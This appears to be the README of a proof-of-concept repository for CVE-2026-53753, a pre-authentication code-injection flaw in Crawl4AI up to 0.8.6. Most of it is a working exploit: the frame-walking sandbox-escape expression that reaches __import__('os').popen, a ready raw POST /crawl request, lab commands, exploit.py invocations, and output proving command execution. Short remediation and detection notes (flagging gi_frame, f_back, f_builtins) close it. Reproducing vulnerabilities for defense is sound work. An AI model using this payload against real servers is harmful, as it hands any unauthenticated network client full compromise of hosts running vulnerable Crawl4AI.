Pre-authentication RCE in Crawl4AI
< 0.8.7. A craftedJsonCssExtractionStrategyschema sent to the unauthenticatedPOST /crawlendpoint reaches the computed-fields evaluator (_safe_eval_expression), escapes its AST allow-list through Python frame objects, reaches the realbuiltins, and runs__import__('os').popen(<cmd>).read()— returning the command's output in-band in the JSON response.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| Affected | Crawl4AI <= 0.8.6 |
| Fixed | 0.8.7 |
| Class | CWE-94 (Code Injection) / Python sandbox escape |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | None — shipped config has jwt_enabled: false |
| Status | CONFIRMED — reproduced end-to-end against the official unclecode/crawl4ai:0.8.6 image |
- Root cause
- Anatomy of the payload
- Why the frame walk reaches real builtins
- Lab setup
- Run the exploit
- Expected output
- Raw HTTP request
- Troubleshooting
- Impact / Remediation / Detection
- Validation
Deep dive: see
ANALYSIS.mdfor a node-by-node AST walkthrough, the runtime frame stack, the request data-flow, and the patch diff.
crawl4ai/extraction_strategy.py lets an extraction schema define computed
fields — small Python expressions evaluated per extracted item. They are run by
_safe_eval_expression(), which tries to sandbox the expression with an AST
allow-list and a stripped-down __builtins__:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)The validator is deny-by-prefix: it only rejects names that start with _
(plus import). That single heuristic is the whole sandbox — and it has three
holes that combine into a full escape:
| # | Hole | Why it matters |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins don't start with _ |
The entire Python frame/generator introspection surface is reachable. |
| 2 | obj['__import__'] is an ast.Subscript, not an ast.Attribute |
The validator never inspects dict-subscript keys, so the dunder key __import__ passes. |
| 3 | A running generator's f_back chain leads to an outer frame whose f_builtins is the real builtins |
Escapes the stripped _SAFE_EVAL_BUILTINS back to the full one (__import__, etc.). |
The schema reaches this function with no authentication: the Docker API ships
security.jwt_enabled: false, so the /crawl token dependency is lambda: None.
The computed-field expression is:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read()
for i in [1])),
list(g)
)[-1])()Reading it piece by piece:
| Fragment | Role | Why the validator allows it |
|---|---|---|
(lambda: ... )() |
Creates a function scope so the walrus-bound name lives in a closure cell. | ast.Lambda is not checked. |
g := ( <expr> for i in [1]) |
Binds the generator to g and the generator body references g (itself). |
:= and generator expressions are not checked. (Walrus is illegal in a comprehension iterable, so it is placed in a tuple element instead.) |
list(g) |
Drives the generator — so its frame is live when the body runs. | list is in the safe builtins. |
g.gi_frame |
The generator's frame object. | gi_frame doesn't start with _. |
.f_back.f_back.f_back |
Walks up three frames to one with the real builtins. | f_back doesn't start with _. |
.f_builtins |
That frame's builtins mapping (the real one). | f_builtins doesn't start with _. |
['__import__'] |
Fetches __import__ from the builtins dict. |
Dict subscript — never inspected. |
('os') |
__import__('os') → the os module. |
The call target is a Subscript, not a Name/Attribute. |
.popen('id').read() |
Runs the command and returns its stdout. | popen/read don't start with _. |
Because the value of the generator is os.popen(cmd).read(), the command's
stdout becomes the field value and is reflected back in the /crawl
response — an in-band oracle, no OAST needed.
While list(g) iterates the generator, the call stack looks like this:
frame: _safe_eval_expression() <-- real builtins (__import__ lives here) ← f_back ×3
└ frame: <expression> (eval) <-- sandboxed builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- sandboxed ← f_back ×1
└ frame: <genexpr> g <-- RUNNING; g.gi_frame is this frame ← gi_frame
g.gi_frame.f_back is only populated while the generator is running (that is
why the generator must reference itself and be driven by list(g) — a
not-yet-started generator has f_back is None). Walking f_back three times lands
on the _safe_eval_expression frame, whose f_builtins is the full builtins
module — from which __import__ is pulled by subscript.
Frame depth is stable for this code path:
f_back × 3is correct for Crawl4AI 0.8.6's_safe_eval_expression.
The official image ships the vulnerable default (no auth):
# Option A — docker compose (normal Docker host with bridge networking)
docker compose -f lab/docker-compose.yml up -d
# Option B — plain docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6Wait ~20 s for the browser pool to warm up (docker logs crawl4ai-vuln →
Application startup complete).
# Inspect the request body without sending it:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Fire it (command stdout comes back in the response):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"exploit.py uses only the Python standard library — no dependencies.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
The out field is live OS state (id output, uname, the container's
os-release), not an echo of the request — uid=999(appuser) is the container's
service account, proving code execution inside the Crawl4AI host. A unique
echo <marker> is reflected verbatim, confirming the command actually ran.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}raw://…makes the request self-contained — no outbound fetch is needed; the attacker supplies the HTML inline.baseSelector: "div"simply needs to match an element so a computed field is evaluated. Against a real crawl target, use any selector that matches the page.
| Symptom | Cause / fix |
|---|---|
Connection refused on :11235 |
Container still warming up, or your Docker daemon has no usable bridge network. Wait for Application startup complete; if port mapping doesn't bind, run the container with --network host. |
out is null |
The base selector matched no element — make sure the raw:// HTML contains a <div> (or adjust baseSelector). |
| Works on 0.8.6 but not 0.8.7 | Expected — 0.8.7 removes _safe_eval_expression and disables the expression key entirely (the fix). |
Any network-reachable client executes arbitrary OS commands on the Crawl4AI host with no authentication in the default deployment — full compromise of the server and pivot into any internal resources it can reach.
- Upgrade to Crawl4AI ≥ 0.8.7 (removes
_safe_eval_expression; theexpressioncomputed-field key is disabled — use thefunctionkey with a vetted Python callable instead). - Defense in depth: enable JWT (
jwt_enabled: true+api_token) and never expose the Crawl4AI API to untrusted networks.
Flag POST /crawl (and /crawl/stream) bodies containing gi_frame, f_back,
f_builtins, or any computed field carrying an expression key.
- PoC author: Caio Fabrício — github.com/BiiTts
- Vulnerability credit belongs to the original CVE/advisory reporter; this repo is an independent reproduction for defensive and educational use.
- For authorized security testing only.